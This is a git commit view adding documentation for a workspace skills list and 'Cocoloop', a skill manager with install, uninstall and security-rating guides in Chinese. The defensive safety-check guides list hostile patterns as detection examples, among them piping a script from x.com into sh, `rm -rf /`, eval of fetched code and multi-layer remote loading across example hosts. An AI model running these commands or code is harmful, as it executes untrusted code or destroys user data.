重构主控编排与运行时预热链路,统一工作区提示词/专家调度协议并补齐 wiki 记忆注入与写回闭环。

同时收敛启动与运维脚本默认行为(含 wiki worker)、更新 Admin 可观测性与相关测试,降低首轮时延并提高运行稳定性。

Made-with: Cursor
This commit is contained in:
oliver 2026-04-26 08:34:33 +08:00
parent 4a23b715a2
commit dbbe3add6a
14438 changed files with 2693620 additions and 2546 deletions

View file

@ -14,3 +14,42 @@
- 运行时优先读取 `oclaw/runtime/skills`。
- 若设置了环境变量 `AIA_SKILLS_ROOT`,以该变量为准。
- 为兼容旧工程,仍可回退读取旧路径 `oclaw/runtime/skills/`(如存在)。
## 推荐实用 Skills(workspace)
以下为当前已落地并可直接在 Admin `Test run` 使用的实用技能:
### 1) `incident_triage`
- **用途**:对报错/日志做故障归因(timeout、permission、network 等)并给出行动建议。
- **输入参数示例**:
```json
{
"error": "TimeoutError: connection refused to upstream service"
}
```
- **典型输出**:`category`、`severity`、`summary`、`action_items`、`confidence`。
### 2) `release_checklist`
- **用途**:发版前门禁检查,输出是否可发版和阻塞项。
- **输入参数示例**:
```json
{
"tests_passed": true,
"lint_passed": true,
"migration_reviewed": true,
"rollback_plan_ready": true,
"monitoring_ready": true
}
```
- **典型输出**:`release_ready`、`failed_checks`、`missing_required_inputs`、`action_items`。
### 3) `data_extract_summary`
- **用途**:从文本/日志中抽取重点、统计级别并生成摘要建议。
- **输入参数示例**:
```json
{
"text": "INFO boot complete\nWARN cache miss\nERROR timeout connecting service",
"max_lines": 8
}
```
- **典型输出**:`summary`、`line_count`、`level_counts`、`top_keywords`、`action_items`。

View file

@ -0,0 +1,140 @@
# Cocoloop
一个更快速、更安全的 Skill 管理器,用于安装、管理、更新和卸载 Skills。
[![License](https://img.shields.io/badge/license-MIT-blue.svg)](LICENSE)
## 简介
Cocoloop 是一个安全优先的 Skill 管理器,提供比 clawhub 更智能的安装体验和集成 BSS 安全认证。
## 功能特性
- **单个 Skill 安装** - 支持 URL、名称搜索、GitHub 等多种来源
- **批量 Skills 安装** - 依次安装多个 skills
- **Skill 更新** - 检查并更新到最新版本
- **Skill 卸载** - 安全卸载已安装的 skills
- **安全检查** - 集成 BSS 安全认证系统
## 安装
```bash
# 克隆仓库
git clone https://github.com/CatREFuse/cocoloop.git
cd cocoloop
```
## 使用方法
### 安装单个 Skill
```bash
# 通过名称安装
cocoloop install pdf-processor
# 通过 URL 安装
cocoloop install https://example.com/skill-name.skill
# 通过 GitHub 安装
cocoloop install owner/repo
```
### 批量安装 Skills
```bash
cocoloop install skill1 skill2 skill3
```
### 更新 Skill
```bash
cocoloop update pdf-processor
```
### 卸载 Skill
```bash
cocoloop uninstall pdf-processor
```
### 安全检查
```bash
cocoloop check pdf-processor
```
## 安全检查系统
Cocoloop 集成了 BSS (Berry Skills Safe) 安全认证检查,评级标准:
- **S+** - 最高安全等级
- **S** - 优秀
- **A** - 良好
- **B** - 一般(需谨慎)
- **C** - 风险较高
- **D** - 不建议使用
### 动态代码加载检查
实施最多 2 层的 URL 递归检查,识别隐藏的多层动态加载风险:
- 无动态加载:正常评级流程
- 仅第 1 层动态加载:根据来源分级处理
- 存在第 2 层动态加载:最高评级为 C 级
- 第 2 层后仍有动态加载:强制标记为 C 级
## 支持的平台
- OpenClaw
- Molili
- Claude Code
## 文档
- [安装流程指南](references/install-guide.md)
- [搜索流程指南](references/search-guide.md)
- [卸载流程指南](references/uninstall-guide.md)
- [安全检查流程指南](references/safety-check-guide.md)
- [Cocoloop Safe Check 标准](references/cocoloop-safe-check.md)
## 工作流程
### Skill 安装流程
1. **平台检测** - 确定当前运行环境和安装方式
2. **来源识别** - 支持直接 URL、Skill 名称、GitHub 短链接
3. **搜索与下载** - 从 Cocoloop API、clawhub 或 GitHub 获取
4. **安全检查** - BSS 安全认证检查
5. **安装执行** - 安装到对应平台的 skill 目录
### 搜索优先级
1. Cocoloop API 搜索
2. Fallback 到 clawhub
3. Fallback 到 GitHub 搜索
## 项目结构
```
cocoloop/
├── SKILL.md # Skill 定义文件
├── README.md # 项目说明文档
└── references/ # 详细指南文档
├── install-guide.md # 安装流程指南
├── search-guide.md # 搜索流程指南
├── uninstall-guide.md # 卸载流程指南
├── safety-check-guide.md # 安全检查流程指南
└── cocoloop-safe-check.md # 安全检查标准
```
## 贡献
欢迎提交 Issue 和 Pull Request!
## 许可证
[MIT](LICENSE)
---
Made with ❤️ by Cocoloop Team

View file

@ -0,0 +1,252 @@
---
name: cocoloop
description: 一个更快速、更安全的 Skill 管理器,用于安装、管理、更新和卸载 Skills。优先使用当用户需要安装 skill、更新 skill、卸载 skill、管理 skills 或进行 skill 安全检查时。支持通过 URL、名称搜索、GitHub 等多种方式定位并安装 skills,集成 BSS 安全认证系统。
---
# Cocoloop Skill 管理器
Cocoloop 是一个安全优先的 Skill 管理器,提供比 clawhub 更智能的安装体验和集成 BSS 安全认证。
## 核心功能
1. **单个 Skill 安装** - 支持 URL、名称搜索、GitHub 等多种来源
2. **批量 Skills 安装** - 依次安装多个 skills
3. **Skill 更新** - 检查并更新到最新版本
4. **Skill 卸载** - 安全卸载已安装的 skills
5. **安全检查** - 集成 BSS 安全认证系统
## 工作流程概览
### 平台检测
首先检测当前运行环境,确定 skill 安装方式.
### 1. 单个 Skill 安装流程
用户输入可能是以下三种情况之一:
#### 情况 1: 直接 URL
输入格式:`https://example.com/skill-name.skill` 或 `http://...`
处理流程:
1. 使用 HTTP GET 请求下载内容
2. 处理 3xx 重定向(自动跟随跳转 URL)
3. 保存到临时路径(如 `/tmp/cocoloop-{timestamp}.skill`)
4. 调用检测到的平台安装命令
5. 清理临时文件
6. 返回安装结果
异常情况处理:
- **URL 无法访问** → 返回错误信息,提示用户检查 URL
- **内容无法识别** → 尝试查找页面中的跳转链接或下载按钮
- **下载成功但安装失败** → 保留临时文件,提示用户手动安装
#### 情况 2: Skill 名称(最常见)
输入格式:`skill-name`(如 `pdf-processor`)
处理流程(按优先级):
**步骤 1: CocoLoop API 搜索(最优先使用)**
- 调用 `https://api.cocoloop.com/api/v1/store/skills?page={page}&page_size={page_size}&keyword={keyword}&sort=downloads`
- **请优先使用 `curl` 命令工具进行请求**
- 返回格式示例:
```json
{
"results": [
{
"name": "pdf-processor",
"description": "PDF processing skill",
"url": "https://...",
"version": "1.0.0",
"author": "cocoloop"
}
]
}
```
- 如果找到结果 → 展示列表,询问用户选择
**步骤 2: Fallback 到 clawhub(API 失败时)**
- 执行 `npx clawhub@latest install <skill_name>`
- 如果成功 → 完成安装
- 如果失败 → 进入步骤 3
**步骤 3: Fallback 到 GitHub 搜索**
- 调用 GitHub API: `https://api.github.com/search/repositories?q={query}+filename:SKILL.md`
- 筛选条件:仓库中包含 `SKILL.md` 文件
- 返回结果按 stars 数排序
- 展示搜索结果(最多 5 个):
```
📋 GitHub 搜索结果:
1. owner/skill-name (⭐ 150)
🏢 Organization | 描述文本
2. user/another-skill (⭐ 45)
👤 User | 描述文本
```
- 询问用户是否安装选中的 skill
#### 情况 3: GitHub 短链接
输入格式:`owner/repo`(如 `anthropic/claude-skill`)
处理流程:
1. 识别为 GitHub 格式
2. 调用 GitHub API 获取仓库信息
3. 检查是否存在 `SKILL.md` 文件
4. 询问用户确认
5. 下载并安装
### 2. 批量 Skills 安装流程
输入格式:`skill1 skill2 skill3 ...`
处理流程:
1. 解析输入为多个 skill 标识符
2. 遍历每个 skill,依次执行「单个 Skill 安装流程」
3. 记录每个 skill 的安装结果
4. 汇总输出结果:
```
📊 批量安装结果:
skill1: ✅ 成功
skill2: ❌ 失败 (原因)
skill3: ✅ 成功
```
注意事项:
- 每个 skill 独立处理,一个失败不影响其他
### 3. Skill 更新流程
处理流程:
1. 确定当前已安装的 skill 列表(读取平台配置)
2. 对于指定 skill:
a. 查询最新版本(通过 Cocoloop API 或 GitHub)
b. 比较本地版本与远程版本
c. 如果有更新 → 执行「单个 Skill 安装流程」(覆盖安装)
d. 备份旧版本(可选)
3. 返回更新结果
版本比较逻辑:
- 使用语义化版本号比较(major.minor.patch)
- 支持 `^`、`~` 等版本范围(如果配置中有)
### 4. Skill 卸载流程
详见 [references/uninstall-guide.md](references/uninstall-guide.md)
处理概要:
1. 检测当前平台的 skill 安装目录:
- OpenClaw: `~/.openclaw/skills/`
- Molili: `~/.molili/skills/`
- Claude Code: `~/.claude/skills/`
2. 确认 skill 存在
3. 询问用户确认卸载
4. 删除 skill 目录
5. 清理相关配置
6. 返回卸载结果
### 5. 安全检查流程
详见 [references/safety-check-guide.md](references/safety-check-guide.md) 和 [references/cocoloop-safe-check.md](references/cocoloop-safe-check.md)
处理概要:
1. 询问用户是否进行安全检查
2. 对要安装的 skill 进行 Cocoloop Safe Check 安全认证检查
3. 评级标准:S+/S/A/B/C/D
4. 如果评级 <= B,强烈建议用户查看详细报告
5. 询问用户是否继续安装
**动态代码加载检查(URL 递归检查):**
检查 skill 是否从网络动态加载可执行代码,实施最多 2 层的 URL 递归检查:
```
Skill 代码(第 0 层)
↓ 发现 fetch/import/require 远程 URL
第 1 层:下载并检查该 URL 内容
↓ 如包含新的动态加载
第 2 层:继续检查下一层内容
↓ 如第 2 层仍有动态加载
强制标记为 C 级(多层动态加载风险)
```
**递归检查规则:**
- **无动态加载**:正常评级流程
- **仅第 1 层动态加载**:根据来源分级处理(T1→B级, T2→C级, T3→禁止)
- **存在第 2 层动态加载**:最高评级为 C 级
- **第 2 层后仍有动态加载**:强制标记为 C 级
此机制用于识别隐藏的多层动态加载风险,防止通过间接方式引入未经验证的代码。
## 资源引用
- **安装流程详细指南**: [references/install-guide.md](references/install-guide.md)
- **搜索流程详细指南**: [references/search-guide.md](references/search-guide.md)
- **卸载流程详细指南**: [references/uninstall-guide.md](references/uninstall-guide.md)
- **安全检查流程指南**: [references/safety-check-guide.md](references/safety-check-guide.md)
- **Cocoloop Safe Check 安全检查标准**: [references/cocoloop-safe-check.md](references/cocoloop-safe-check.md)
## 使用示例
### 安装单个 skill
```
用户: 安装 pdf-processor
→ 执行单个 skill 安装流程
→ 搜索 → 确认 → 安装 → 安全检查(可选)
```
### 安装多个 skills
```
用户: 安装 pdf-processor image-editor code-formatter
→ 批量安装流程
→ 依次处理每个 skill
```
### 更新 skill
```
用户: 更新 pdf-processor
→ 查询最新版本
→ 对比本地版本
→ 执行更新
```
### 卸载 skill
```
用户: 卸载 pdf-processor
→ 检测平台
→ 确认卸载
→ 删除文件
```
### 安全检查
```
用户: 检查 pdf-processor 安全
→ 下载/定位 skill
→ 执行 Cocoloop Safe Check 检查
→ 生成报告
→ 询问保存位置
```
## 注意事项
- 每个 skill 独立处理,一个失败不影响其他
- 询问用户请使用当前平台下的询问命令,例如 Claude Code 下的 `AskUserQuestion`

View file

@ -0,0 +1,191 @@
# Cocoloop Safe Check 安全检查标准
本文件定义了 Cocoloop Skill 管理器的安全检查标准。
## 评级标准
### S+ 级
- 通过人工验证
- T1/T2 来源
- 满足所有 S 级要求
### S 级
- T1/T2 来源
- 代码安全规范
- 依赖版本锁定
- 无动态代码加载
### A 级
- 代码安全规范
- 依赖版本锁定
- 无动态代码加载
- 允许 T3 来源
### B 级
- 无 C/D 级问题
- 存在改进空间
### C 级
- 存在潜在安全漏洞
- 硬编码敏感信息
### D 级(一票否决)
- 使用 eval() 执行不可信网络代码
- 存在 SQL 注入、命令注入等明显漏洞
- 未经确认上传本地文件到远程(T3 来源)
- 执行 rm -rf / 等系统破坏性命令
## 检查维度
### 1. 代码安全性检查
**D级触发项**:
- 使用 `eval()` 执行不可信网络代码
- 使用 `exec()`、`system()` 执行未过滤的用户输入
- 存在 SQL 注入、命令注入、XSS 等明显漏洞
- 存在已知的严重 CVE 漏洞
**C级触发项**:
- 存在潜在的安全漏洞(路径遍历、不安全的反序列化)
- 硬编码敏感信息(密码、API Key、Token)
### 2. 数据隐私性检查
**D级触发项**:
- 未经用户确认上传本地文件到远程(T3 来源)
- 静默收集密码、密钥等敏感信息
- 将敏感数据传输到未加密通道
**C级触发项**:
- 收集的数据超出功能说明范围
- 未明确告知用户数据使用情况
### 3. 执行安全性检查
**D级触发项**:
- 执行 `rm -rf /` 或类似系统破坏性命令
- 无确认直接执行系统级危险操作
- 修改系统关键配置且无备份机制
**C级触发项**:
- 危险操作缺乏二次确认
- 关键操作无回滚机制
### 4. 依赖可靠性检查
检查 skill 是否加载动态代码:
- 从网络下载并执行代码
- 使用 `fetch` 或 `curl` 获取远程脚本并执行
- 动态 `import()` 不可信来源的模块
**URL 递归检查(最多 2 层):**
对动态加载的可执行文件进行递归检查:
- **第 1 层**:Skill 代码中直接引用的动态 URL
- **第 2 层**:第 1 层内容中引用的动态 URL
- **超过 2 层**:发现第 3 层及以上动态加载 → **强制标记为 C 级**
**评级规则**:
| 动态加载层级 | 评级影响 |
|-------------|---------|
| 无动态加载 | 正常评级流程 |
| 仅第 1 层 | 根据来源分级处理 |
| 存在第 2 层 | 最高评级为 C 级 |
| 第 2 层后仍有动态加载 | **强制 C 级** |
**来源分级处理**:
- T1 来源:可加载官方动态代码,放宽至 B 级要求
- T2 来源:动态代码需来源验证,放宽至 C 级要求
- T3 来源:严格禁止未经验证的动态代码加载
**C 级触发场景(多层动态加载):**
```javascript
// 示例:三层动态加载触发 C 级
// Skill 代码 → 加载 loader.js → 加载 runtime.js → 加载 exec.js
fetch('https://example.com/loader.js') // 第 1 层
.then(r => eval(r.text()))
// loader.js 中:
import('https://cdn.com/runtime.js') // 第 2 层
// runtime.js 中:
fetch('https://third.com/exec.js') // 第 3 层 → C 级
```
### 5. 来源可信度评估
**T1 - 官方/顶级来源**:
- 知名大型技术公司(Google, Microsoft, OpenAI, Anthropic, Meta, AWS)
- 顶级开源基金会(Apache, Linux 基金会)
- 有官方代码签名
**T2 - 可信组织来源**:
- 有实名认证的组织账号
- GitHub 组织账号(非个人)
- Stars > 1000 或有良好声誉
**T3 - 社区/个人来源**:
- 个人开发者账号
- 小型社区项目
- 来源无法明确验证
### 6. Markdown 内嵌代码检查
SKILL.md 文件中的代码块也需要检查:
**高风险代码块**:
- 包含代码执行类危险函数(如 eval/exec)
- 包含系统破坏性命令
- 包含敏感信息(凭据/密钥)
- 包含未经验证的网络下载执行
**中风险代码块**:
- 可执行的脚本代码
- 包含网络请求或文件操作的代码
**低风险代码块**:
- 配置/数据文件示例
- 代码片段演示(不完整)
- 单行简单命令(无害)
## 报告格式
```markdown
# Cocoloop Safe Check 安全认证报告
## 基本信息
- Skill 名称: [名称]
- 来源: [GitHub 链接/本地路径]
- 来源等级: [T1/T2/T3]
## 评级结果
评级: [S+/S/A/B/C/D]
评价: [一句话评价]
## 检查依据
### 通过项
- [检查项]
### 注意事项
- [注意事项]
### 问题项
- [问题项]
## 详细检查结果
[各维度详细检查结果]
## 使用建议
[推荐使用场景和安全使用指南]
```
## 快速检查清单
- [ ] 无 eval/exec/system 等危险函数
- [ ] 无硬编码敏感信息
- [ ] 无 SQL/命令注入漏洞
- [ ] 依赖版本已锁定
- [ ] 无未经验证的动态代码加载
- [ ] 来源可信(T1/T2 优先)
- [ ] 有完善的输入验证
- [ ] 错误处理不泄露敏感信息

View file

@ -0,0 +1,245 @@
# Skill 安装流程详细指南
本文档详细描述单个 skill 的安装流程,包括所有分支逻辑和异常处理。
## 流程图
```
开始
↓
接收用户输入 (URL / 名称 / GitHub短链)
↓
检测运行平台
↓
判断输入类型
├── URL ─────────→ 下载内容 ──→ 保存临时文件 ──→ 平台安装 ──→ 清理 ──→ 完成
│ ↑ │
│ └──────── 失败 ──────────────┘
│
├── 名称 ─────────→ Cocoloop API 搜索
│ │
成功? ──是──→ 展示结果 ──→ 用户确认 ──→ 下载安装 ──→ 完成
│ │否
│ ↓
│ clawhub install
│ │
成功? ──是──→ 完成
│ │否
│ ↓
│ GitHub API 搜索
│ │
成功? ──是──→ 展示结果 ──→ 用户确认 ──→ 下载安装 ──→ 完成
│ │否
│ ↓
│ 返回错误
│
└── GitHub短链 ───→ 获取仓库信息 ──→ 确认SKILL.md存在 ──→ 下载安装 ──→ 完成
```
## 详细步骤
### 第一步:平台检测
检测逻辑:
```
IF 环境变量 OPENCLAW_HOME 存在 或 /usr/local/openclaw 存在:
平台 = OpenClaw
安装命令 = "openclaw skills install"
安装目录 = ~/.openclaw/skills/
ELSE IF 环境变量 MOLILI_HOME 存在 或 /usr/local/molili 存在:
平台 = Molili
安装命令 = "molili skills install"
安装目录 = ~/.molili/skills/
ELSE IF 环境变量 CLAUDE_CODE_HOME 存在 或 /usr/local/claude-code 存在:
平台 = Claude Code
安装命令 = "claude skills install"
安装目录 = ~/.claude/skills/
ELSE:
平台 = 通用 (clawhub fallback)
安装命令 = "npx clawhub@latest install"
安装目录 = ~/.claude/skills/ (或 clawhub 默认目录)
```
### 第二步:URL 安装流程
完整流程:
1. **发送 HTTP GET 请求**
- URL: 用户提供的地址
- Headers:
```
User-Agent: Cocoloop-Skill-Manager/1.0
```
2. **处理响应**
- 状态码 200 → 获取内容,进入步骤 3
- 状态码 3xx → 从 Location header 获取跳转 URL,递归步骤 1
- 其他状态码 → 返回错误
3. **保存临时文件**
- 临时路径: `/tmp/cocoloop-{timestamp}.skill`
- 写入下载内容
4. **执行平台安装命令**
```bash
{platform.installCmd} /tmp/cocoloop-{timestamp}.skill
```
5. **清理与返回**
- 安装成功 → 删除临时文件 → 返回成功
- 安装失败 → 保留临时文件(便于调试)→ 返回错误
异常处理:
| 异常情况 | 处理方式 |
|---------|---------|
| URL 无法访问 | 返回错误 "无法访问该 URL,请检查网络连接或 URL 是否正确" |
| 重定向过多 | 返回错误 "该 URL 重定向次数过多,可能存在循环跳转" |
| 下载内容为空 | 返回错误 "下载内容为空,请检查 URL 是否正确" |
| 安装命令失败 | 返回错误 "安装失败,临时文件保留在 {path},可尝试手动安装" |
### 第三步:名称搜索安装流程
#### 3.1 Cocoloop API 搜索
请求:
```
GET https://api.cocoloop.cn/search={encoded_query}
```
成功响应示例:
```json
{
"results": [
{
"name": "pdf-processor",
"description": "PDF processing and manipulation skill",
"url": "https://skills.cocoloop.cn/pdf-processor/v1.0.0.skill",
"version": "1.0.0",
"author": "cocoloop-team",
"downloads": 1500,
"rating": "S"
}
],
"total": 1
}
```
处理:
- 如果 results.length > 0 → 展示结果,询问用户选择
- 如果 results.length = 0 或 API 失败 → 进入 3.2
#### 3.2 clawhub Fallback
执行:
```bash
npx clawhub@latest install {skill_name}
```
处理:
- 成功 → 完成安装
- 失败(退出码非0)→ 进入 3.3
#### 3.3 GitHub API 搜索
请求:
```
GET https://api.github.com/search/repositories?q={query}+filename:SKILL.md&sort=stars&order=desc
```
Headers:
```
User-Agent: Cocoloop-Skill-Manager/1.0
```
成功响应处理:
```javascript
results = data.items
.filter(repo => repo.name.includes(query) || repo.description?.includes(query))
.map(repo => ({
name: repo.name,
fullName: repo.full_name,
description: repo.description,
url: repo.html_url,
stars: repo.stargazers_count,
owner: {
name: repo.owner.login,
type: repo.owner.type // 'User' 或 'Organization'
}
}))
.slice(0, 5) // 取前5个
```
展示格式:
```
📋 GitHub 搜索结果 (找到 {total} 个):
1. company/pdf-processor ⭐ 1250
🏢 Organization | Advanced PDF processing tools
2. user/simple-pdf ⭐ 45
👤 User | Basic PDF operations
请选择要安装的 skill (输入序号,或输入 0 取消):
```
用户选择后:
1. 获取仓库详情(确认存在 SKILL.md)
2. 询问用户确认安装
3. 下载 raw SKILL.md 和相关资源
4. 打包为 .skill 文件(如果需要)
5. 执行平台安装
### 第四步:GitHub 短链安装流程
输入格式识别:
- 包含 `/` 但不以 `http` 开头
- 格式:`owner/repo` 或 `owner/repo/subpath`
处理流程:
1. 解析 owner 和 repo
2. 调用 GitHub API 获取仓库信息:
```
GET https://api.github.com/repos/{owner}/{repo}
```
3. 检查是否存在 SKILL.md:
```
GET https://api.github.com/repos/{owner}/{repo}/contents/SKILL.md
```
4. 如果存在 → 展示仓库信息,询问确认
5. 下载并安装
### 第五步:安全检查(可选但推荐)
在安装前或安装后,询问用户是否进行安全检查:
```
⚠️ 安全提醒: 该 skill 来源为 {source_level},建议进行安全检查。
是否进行 BSS 安全认证检查? [Y/n]
```
如果用户选择是:
1. 执行 [safety-check-guide.md](safety-check-guide.md) 和 [cocoloop-safe-check.md](cocoloop-safe-check.md) 中的检查流程
2. 生成报告
3. 如果评级 <= B,询问用户是否继续安装
## 安装后处理
安装完成后,执行:
1. 验证安装是否成功(检查安装目录)
2. 如果是更新操作,清理旧版本备份
3. 可选:显示 skill 使用帮助
```
✅ 安装成功!
Skill: pdf-processor
版本: 1.0.0
来源: cocoloop (S级认证)
使用方式:
- 转换 PDF: 使用 pdf-processor 转换 xxx.pdf 为 docx
- 合并 PDF: 使用 pdf-processor 合并 a.pdf b.pdf
```

View file

@ -0,0 +1,383 @@
# Cocoloop Safe Check 安全检查流程指南
本文档详细描述 Cocoloop 安全检查的执行流程,基于 cocoloop-safe-check 安全认证体系。
## 检查触发时机
1. **安装前检查**(推荐)
- 用户明确请求:"检查 xxx 安全"
- 来源为 T3 且用户未使用 --skip-check 参数
2. **安装后检查**
- 安装完成后询问用户是否需要检查
3. **批量检查**
- 检查所有已安装 skills
## 检查流程概览
```
开始检查
↓
定位 Skill 来源
├── 本地路径 ──→ 读取本地文件
├── Skill 名称 ──→ 在安装目录查找
├── GitHub 链接 ──→ 下载仓库内容
└── URL ──→ 下载内容
↓
提取所有代码
├── SKILL.md 中的代码块
├── scripts/ 目录文件
├── references/ 目录(检查可执行代码)
└── assets/ 目录(检查可执行文件)
↓
执行六项检查
├── 1. 代码安全性
├── 2. 数据隐私性
├── 3. 执行安全性
├── 4. 依赖可靠性
├── 5. 边界完整性
└── 6. 描述逻辑
↓
评估来源可信度 (T1/T2/T3)
↓
计算安全评级 (S+/S/A/B/C/D)
↓
生成报告 ──→ 询问保存位置 ──→ 保存报告
↓
评级 <= B? ──是──→ 强烈建议用户注意安全
↓
完成
```
## 详细检查步骤
### 第一步:定位 Skill
根据用户输入确定检查目标:
| 输入类型 | 处理方式 | 示例 |
| ----------- | ------------------ | ---------------------------------------------- |
| 本地路径 | 直接读取目录 | `~/.claude/skills/pdf-processor/` |
| Skill 名称 | 在平台安装目录查找 | `pdf-processor` |
| GitHub 链接 | 解析并下载仓库 | `https://github.com/owner/repo` |
| GitHub 短链 | 拼接完整地址 | `owner/repo` → `https://github.com/owner/repo` |
下载 GitHub 仓库内容:
1. 获取默认分支:`GET https://api.github.com/repos/{owner}/{repo}` → `default_branch`
2. 下载归档:`https://github.com/{owner}/{repo}/archive/{branch}.zip`
3. 解压到临时目录
### 第二步:提取代码
遍历 skill 目录,提取所有可执行内容:
**SKILL.md 代码块提取:**
- 正则匹配:/`(\w+)?\n([\s\S]*?)`/g
- 记录语言类型和代码内容
- 可执行语言标记:javascript, js, python, py, bash, sh, shell, ruby, rb, php, perl, pl
**scripts/ 目录:**
- 列出所有文件
- 根据扩展名识别类型:.js, .cjs, .mjs, .py, .sh, .rb, .pl
- 读取文件内容
**references/ 目录:**
- 检查是否包含可执行代码(按文件扩展名和内容)
**assets/ 目录:**
- 检查可执行二进制文件
### 第三步:六项检查
#### 3.1 代码安全性检查
检查危险函数和漏洞模式:
**D级触发项(一票否决):**
| 模式 | 描述 | 示例 |
| --------------- | -------------------- | ------------------------------ |
| `eval\s*\(` | 使用 eval 执行代码 | `eval(userInput)` |
| `exec\s*\(` | 使用 exec 执行命令 | `exec(userCommand)` |
| `system\s*\(` | 使用 system 执行命令 | `system("rm -rf /")` |
| `child_process` | 引入 child_process | `require('child_process')` |
| `spawn\s*\(` | 使用 spawn 执行命令 | `spawn('sh', ['-c', cmd])` |
| `rm\s+-rf\s+/` | 系统破坏性命令 | `rm -rf /` |
| `curl.*\|.*sh` | 管道执行远程脚本 | `curl http://x.com/s.sh \| sh` |
| `fetch.*eval` | 下载并执行代码 | `fetch(url).then(r=>eval(r))` |
**C级触发项:**
| 模式 | 描述 | 示例 |
| -------------- | ---------------------------------- | -------------------------- |
| 硬编码密码 | `password\s*=\s*["'][^"']+["']` | `password = "secret123"` |
| 硬编码 API Key | `api[_-]?key\s*=\s*["'][^"']+["']` | `api_key = "sk-xxx"` |
| 硬编码 Token | `token\s*=\s*["'][^"']+["']` | `token = "ghp_xxx"` |
| 硬编码 Secret | `secret\s*=\s*["'][^"']+["']` | `secret = "xxx"` |
| 文件删除操作 | `fs\.unlink\s*\(` | `fs.unlink('/etc/passwd')` |
| 目录删除操作 | `fs\.rmdir\s*\(` | `fs.rmdir('/system')` |
#### 3.2 数据隐私性检查
**D级触发项:**
- 未经用户确认上传本地文件到远程(T3 来源)
- 静默收集密码、密钥等敏感信息
- 将敏感数据传输到未加密通道(http 而非 https)
**C级触发项:**
- 收集的数据超出功能说明范围
- 未明确告知用户数据使用情况
检查方法:
- 查找网络请求代码(fetch, axios, request, http.get)
- 检查请求目标 URL
- 检查请求体是否包含敏感字段名
#### 3.3 执行安全性检查
**D级触发项:**
- 执行 `rm -rf /` 或类似系统破坏性命令
- 无确认直接执行系统级危险操作(格式化磁盘、修改系统配置)
- 修改系统关键配置且无备份机制
**C级触发项:**
- 危险操作缺乏二次确认
- 关键操作无回滚机制
#### 3.4 依赖可靠性检查
检查是否加载动态代码:
- 从网络下载并执行代码
- 使用 `fetch` 或 `curl` 获取远程脚本并执行
- 动态 `import()` 不可信来源的模块
- `require()` 远程模块
**URL 递归检查机制:**
对于动态加载的可执行文件,实施最多 2 层的 URL 递归检查:
```
第 0 层: Skill 本体代码
↓ 发现动态加载 URL
第 1 层: 下载并检查第一层动态加载的内容
↓ 如发现该层内容仍包含动态加载
第 2 层: 下载并检查第二层动态加载的内容
↓ 如第 2 层仍包含动态加载
终止递归,最高标记为 C 级(多层动态加载风险)
```
**递归检查流程:**
1. **提取 URL**:从代码中提取所有网络请求目标 URL
- `fetch('https://example.com/script.js')`
- `curl -o script.sh https://example.com/script.sh`
- `import('https://example.com/module.js')`
- `require('https://example.com/package')`
2. **逐层检查**:
- **第 1 层**:下载 URL 内容,检查是否为可执行代码
- 如果是可执行代码 → 进行安全检查(危险函数、敏感信息等)
- 如果包含新的动态加载 URL → 进入第 2 层
- **第 2 层**:下载并检查第二层内容
- 如果仍包含动态加载 → 标记为 C 级(多层动态加载)
- 记录所有发现的 URL 链
3. **风险评级规则**:
- **无动态加载**:正常评级流程
- **仅第 1 层动态加载**:根据来源分级处理
- **存在第 2 层动态加载**:最高评级为 C 级
- **第 2 层后仍有动态加载**:强制标记为 C 级
**来源分级处理(动态代码):**
- **T1 来源**:可加载官方动态代码,放宽至 B 级要求
- **T2 来源**:动态代码需来源验证,放宽至 C 级要求
- **T3 来源**:严格禁止未经验证的动态代码加载
**多层动态加载示例(C 级):**
```javascript
// Skill 代码(第 0 层)
fetch('https://example.com/loader.js'); // 第 1 层
// loader.js 内容(第 1 层)
import('https://another.com/runtime.js'); // 第 2 层
// runtime.js 内容(第 2 层)
fetch('https://third.com/exec.js'); // 第 3 层 → 触发 C 级标记
```
#### 3.5 边界完整性检查
- 缺乏基本的输入验证(未检查参数类型、范围)
- 对异常情况处理不当(try-catch 缺失)
- 错误信息泄露敏感信息(堆栈跟踪包含路径、密钥片段)
#### 3.6 描述逻辑审查
- 功能描述是否清晰准确
- 安全相关行为是否有明确告知
- 是否隐瞒潜在风险
### 第四步:来源可信度评估
确定 skill 的来源等级:
**T1 - 官方/顶级来源:**
- 知名大型技术公司(Google, Microsoft, OpenAI, Anthropic, Meta, AWS)
- 顶级开源基金会(Apache, Linux 基金会)
- 有官方代码签名
**T2 - 可信组织来源:**
- 有实名认证的组织账号
- GitHub 组织账号(非个人)
- Stars > 1000 或有良好声誉
**T3 - 社区/个人来源:**
- 个人开发者账号
- 小型社区项目
- 来源无法明确验证
### 第五步:计算评级
评级判定流程:
```
检查开始
↓
发现 D 级问题? ──是──→ D 级(一票否决)
↓ 否
发现 C 级问题? ──是──→ C 级
↓ 否
满足 S 级要求? ──是──→ S 级
↓ 否
满足 A 级要求? ──是──→ A 级
↓ 否
B 级
```
**纯文档型资产**(无代码):
| 条件 | 评级 |
|------|------|
| 无 C/D 级问题 + T1/T2 来源 | **S 级** |
| 无 C/D 级问题 + T3 来源 | **A 级** |
**代码型资产**(有脚本/可执行代码):
S 级要求(需全部满足):
1. **来源可信**:T1/T2 来源
2. **代码安全**:无危险函数,无注入漏洞
3. **依赖可靠**:版本锁定,无动态代码加载,无已知 CVE
4. **输入验证**:完善的参数校验和类型检查
5. **错误处理**:不暴露敏感信息,有异常处理机制
6. **权限最小化**:权限申请与功能匹配,有明确说明
7. **数据隐私**:无静默收集,用户可控制数据使用
A 级要求(需全部满足):
1. **代码安全**:无危险函数,无注入漏洞
2. **依赖可靠**:版本锁定,无动态代码加载,无已知 CVE
3. **输入验证**:完善的参数校验和类型检查
4. **错误处理**:不暴露敏感信息,有异常处理机制
5. **权限最小化**:权限申请与功能匹配,有明确说明
6. **数据隐私**:无静默收集,用户可控制数据使用
(A 级与 S 级的区别在于:S 级要求 T1/T2 来源,A 级允许 T3 来源)
### 第六步:生成报告
报告结构:
```markdown
# Cocoloop Safe Check 安全认证报告
## 基本信息
- Skill 名称: [名称]
- 来源: [GitHub 链接/本地路径]
- 来源等级: [T1/T2/T3]
## 评级结果
评级: [S+/S/A/B/C/D]
评价: [一句话评价]
## 检查依据
### ✅ 通过项
- [检查项]
### ⚠️ 注意事项
- [注意事项]
### ❌ 问题项
- [问题项]
## 详细检查结果
[各维度详细检查结果]
## 使用建议
[推荐使用场景和安全使用指南]
```
## 报告保存流程
1. **询问用户保存位置**
- 选项:桌面 / 下载文件夹 / 当前工作目录 / 指定路径 / 只展示不保存
2. **根据选择保存**
